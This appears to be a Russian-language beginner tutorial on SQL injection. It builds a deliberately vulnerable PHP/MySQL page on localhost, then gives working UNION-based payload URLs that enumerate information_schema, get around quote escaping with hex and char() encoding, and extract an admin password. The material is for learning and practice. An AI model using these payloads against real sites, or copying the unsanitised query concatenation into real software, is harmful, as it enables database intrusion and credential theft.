Введение в SQL-инъекции.
В сети статей по SQL-инъекциям хренова туча. Зачем писать еще одну? Просто все статьи, с которыми я сталкивался, на мой взгляд, были тяжеловаты для новичков, которые только поверхностно знакомы с языком SQL. Цель этой статьи - преподнести материал максимально разжевано, и дать вам общее представление, что же такое SQL-инъекции. Получилось это у меня, или нет, судите сами.

Из литературы по SQL могу порекомендовать книгу "Самоучитель MySQL5" М.Кузнецов, И.Симдянов. Это вам и учебник, это вам и справочник. Так же неплохо бы знать, как сценарий взаимодействует с базой (это вы должны были разобрать при изучении PHP).

Для того чтобы начать тему SQL-инъекций, разберемся со следующими понятиями:
База данных - набор данных, имеющий определенную структуру.
SQL (Structured Query Language) - структурированный язык запросов к базе данных. Грубо говоря на этом языке я пишу, что именно я хочу сделать с данными из базы. Кстати, несмотря на то, что есть официальный стандарт этого языка, все СУБД поддерживают его по-своему.
Система управления базой данных (СУБД) - программа, дли работы с базой данных. Питается командами на языке SQL.

Теперь давайте рассмотрим взаимодействие сценария с базой данных:
- соединение с базой данных,
- формирование запроса к базе данных на языке SQL,
- отправка этого запроса,
- чтение ответа,
- обработка ответа.

SQL-инъекция возможна там, где запрос формируется на основе данных, переданных пользователем. Сразу предупрежу, далее в строках SQL-команд я буду выделять квадратными скобками (для наглядности) часть кода, которая берется из этих данных. А сами сформированные запросы, которые сценарий будет отправлять СУБД, я буду предварять знаком SQL>

Для примера я выбрал самую распространенную связку PHP+MySQL и самый распространенный запрос – генерация страницы из базы по ее id. Сама таблица pages будет иметь всего два столбца: id и content. Наша задача тоже стандартная - найти в базе таблицу зарегистрированных пользователей и слить пароль админа (admin).

Чтоб весь материал урока лучше усвоился, постройте на локалхосте тренировочный полигон (я надеюсь, что Apache+php+MySQL у вас давно уже стоит). Для этого создайте базу данных с таблицами, вписав следующий код в MySQL-клиент:

Код:
CREATE DATABASE site;

USE site;

CREATE TABLE pages (
   id INT NOT NULL AUTO_INCREMENT,
   content TEXT,
   PRIMARY KEY(id)
);

CREATE TABLE users (
   id INT NOT NULL AUTO_INCREMENT,
   name CHAR(32),
   pass CHAR(32),
   PRIMARY KEY(id)
);

INSERT INTO pages (content) VALUES ('Page number 1'),('Page number 2'),('Page number 3'),('Page number 4'),('Page number 5');

INSERT INTO users (name, pass) VALUES ('Vasya','22vasya22'),('Petya','qwerty'),('Alex','1234567'),('admin','fh&gfkTsu'),('Serega','sex');

Теперь создайте сценарий, который будет работать с базой. Упрощенно код сценария будет следующий:

Код:
<?PHP
$server='localhost';     //имя сервера базы данных
$user='user';            //имя учетной записи, по которой будет осуществляться подключение
$pass='pass';            //пароль для учетной записи
$dbname='site';          //имя базы данных

//подключение к серверу БД по определенной учетной записи,
//и сохранение дескриптора соединения в переменную $link
$link=mysql_connect($server, $user, $pass);

//выбор базы данных
mysql_select_db($dbname, $link);

//cтрока запроса
$sel_query="SELECT * FROM pages WHERE id=".$_GET[id];

//отправка запроса серверу и сохранение дескриптора ответа в переменную $res
$res=mysql_query($sel_query , $link);

//обработка результата, представление первой строки результата в виде
//ассоциативного массива (функция обработки может быть другой).
$arr=mysql_fetch_assoc($res);

//закрытие соединения с сервером
mysql_close($link);

//вывод страницы
echo $arr[content];
?>

Я нарочно не вставил никаких защит, фильтраций и т.п. чтобы не затруднять код (о защите мы поговорим позже).
Сохраните этот код в каталоге web-сервера в файле test.php. В переменные $user и $pass впишите логин и пароль вашей учетки MySQL. Ну, вот и все, полигон готов.

Теперь приступим к основной теме.

Суть SQL-инъекций заключается в изменении логики запроса путем подстановки в передаваемый параметр специальных символов и команд. Например, известный прием поиска дыр на сайте заключается в прибавлении к передаваемым параметрам одинарной кавычки и ожидании ошибки. В нашем примере, если передать параметр test.php?id=1' сценарий отправит на MySQL-сервер запрос:
SQL> SELECT * FROM pages WHERE id=[1'];
или
SQL> SELECT * FROM pages WHERE id=[1\']; //в случае экранирования кавычек
что является некорректным синтаксисом и вызовет ошибку. Если ошибки не подавляются, то мы увидим сообщение об ошибке. Значит, здесь есть дыра. Начинаем ее раскручивать.

Теперь, если передадим test.php?id=1+OR+1=1 запрос будет выглядеть так:
SQL> SELECT * FROM pages WHERE id=[1 OR 1=1];
Условие будет верно для каждой строки и вернет нам всю таблицу (но сценарий выведет только первую запись).

Суть дела ясна? Теперь можно приступить к основной задаче - изъятию данных из другой таблицы.

Для получения данных из других таблиц мы будем использовать команду UNION, которая объединяет результаты двух запросов в одну результирующую таблицу.

Простой пример:
SQL> SELECT 1,2 UNION SELECT 3,4;
вернет:
+---+---+
| 1 | 2 |
| 3 | 4 |
+---+---+

Что бы воспользоваться командой UNION, надо выполнить несколько условий:
1) Так как выводится только первая строка, нам надо, чтобы этой строкой была нужная нам информация. Для этого нам надо чтобы первый (основной) запрос не вернул ни одной строки. Вряд ли в базе будут страницы с отрицательными номерами, поэтому пишем test.php?id=-1.
2) В MySQL чтобы соединить два результата, они должны иметь одинаковое число столбцов. Т.е. нам надо знать, сколько столбцов возвращает исходный запрос. Узнать это можно двумя способами:
а) просто перебирая количество полей в UNION.
test.php?id=-1+UNION+SELECT+1
test.php?id=-1+UNION+SELECT+1,2
test.php?id=-1+UNION+SELECT+1,2,3
и т.д. пока не исчезнет сообщение об ошибке.
б) используя конструкцию ORDER BY (или GROUP BY). Конструкция ORDER BY применяется для сортировки результирующей таблицы по значениям какого-либо столбца. Столбец можно указать как именем, так и номером по порядку. Таким образом, при попытке сортировки таблицы по несуществующему полю сгенерируется ошибка. Например, запрос:
SQL> SELECT * FROM pages WHERE id=[25 ORDER BY 3]
выдаст ошибку, т.к. указана сортировка по третьему столбцу, а их всего 2 (я написал в начале, что таблица pages имеет только два столбца, а знак * означает выбор всех столбцов). А если мы укажем сортировку по второму столбцу, то ошибки не будет. Из этого мы сделаем вывод, что исходный запрос возвращает 2 столбца.
Т.о. методом тыка можно определить количество столбцов.

Едем дальше. Мы определили, что запрос возвращает два столбца. Теперь нам надо определить какие столбцы выводятся на страницу. Допустим запрос:
test.php?id=-1+UNION+SELECT+1,2
выведет на страницу цифру 2. Значит, второе поле выводится. Через него мы и будем извлекать данные.

Первым делом проверим, под какой учеткой осуществляется связь сценария с базой, версию СУБД и текущую используемую базу:
test.php?id=-1+UNION+SELECT+1,user()
test.php?id=-1+UNION+SELECT+1,version()
test.php?id=-1+UNION+SELECT+1,database()

Для получения данных из сторонней таблицы надо знать ее имя, имена ее столбцов и имя базы, в которой эта таблица расположена.
Начиная с 5 версии в MySQL есть такая прекрасная вещь, как information_schema. Информационная схема - это виртуальная база с виртуальными таблицами, хранящими структуру всех баз и таблиц данного сервера. В данном уроке я опишу только самые важные таблицы и их поля (тоже только самые важные) информационной схемы.
1) schemata - таблица с именами баз данных. Имеет поле:
schema_name - имя базы данных.
2) tables - таблица с именами всех таблиц. Имеет поля:
table_name - имя таблицы.
table_schema - имя базы данных, которой принадлежит таблица.
3) columns - Таблица с именами столбцов всех таблиц. Имеет поля:
column_name - имя столбца.
table_name - имя таблицы, которой принадлежит данный столбец.
table_schema - имя базы данных, в которой находится таблица, которой принадлежит данный столбец.

Посмотрим имена всех баз. Для этого воспользуемся оператором выбора строк из результата LIMIT (в дальнейшем я покажу, как отказаться от LIMIT и получать кучу данных за один запрос, используя функцию group_concat()):
test.php?id=-1+UNION+SELECT+1,schema_name+FROM+information_schema.schemata+LIMIT+0,1
test.php?id=-1+UNION+SELECT+1,schema_name+FROM+information_schema.schemata+LIMIT+1,1
test.php?id=-1+UNION+SELECT+1,schema_name+FROM+information_schema.schemata+LIMIT+2,1
и т.д.

Нас будет интересовать база site. В ней лежат все таблицы сайта. Просмотрим имена всех таблиц этой базы.
test.php?id=-1+UNION+SELECT+1,table_name+FROM+information_schema.tables+WHERE+table_schema='site'+LIMIT+0,1
А вот здесь возникнет первая проблема - экранирование кавычек (включено на большинстве серверов). Не получится сформировать запрос, если в нем есть кавычки. Сервер, получив такую строку запроса, погасит обратными слешами все кавычки и к базе уйдет следующий запрос:
SQL> SELECT * FROM pages WHERE id=[-1 UNION SELECT 1,table_name FROM information_schema.tables WHERE table_schema=\'site\' LIMIT 0,1];
В этом случае кавычки не будут иметь командного значения, а будут считаться простыми строковыми символами, что является некорректным синтаксисом.

Но эта проблема легко решается двумя способами:
1) переводом текста (без кавычек) в шестнадцатеричное представление. Например: site = 0x73697465
2) использованием функции char() и передачей ей десятеричных кодов символов. Например: site = char(115,105,116,101)

test.php?id=-1+UNION+SELECT+1,table_name+FROM+information_schema.tables+WHERE+table_schema=0x73697465+LIMIT+0,1
test.php?id=-1+UNION+SELECT+1,table_name+FROM+information_schema.tables+WHERE+table_schema=0x73697465+LIMIT+1,1
test.php?id=-1+UNION+SELECT+1,table_name+FROM+information_schema.tables+WHERE+table_schema=0x73697465+LIMIT+2,1

Получили две таблицы: pages и users.
Теперь для таблицы users надо достать имена столбцов.
test.php?id=-1+UNION+SELECT+1,column_name+FROM+information_schema.columns+WHERE+table_schema=0x73697465+AND+table_name=0x7573657273+LIMIT+0,1
test.php?id=-1+UNION+SELECT+1,column_name+FROM+information_schema.columns+WHERE+table_schema=0x73697465+AND+table_name=0x7573657273+LIMIT+1,1
test.php?id=-1+UNION+SELECT+1,column_name+FROM+information_schema.columns+WHERE+table_schema=0x73697465+AND+table_name=0x7573657273+LIMIT+2,1

Таким образом мы узнаем, что таблица users имеет три поля: id, name, pass.
Ну а теперь дело за малым - достаем пароль админа.
test.php?id=-1+UNION+SELECT+1,pass+FROM+site.users+WHERE+name=0x61646d696e
(так как site является текущей базой, можно вместо site.users написать просто users)

Ну, вот и все для начала.
Жду ваших отзывов, пожеланий и конструктивной критики.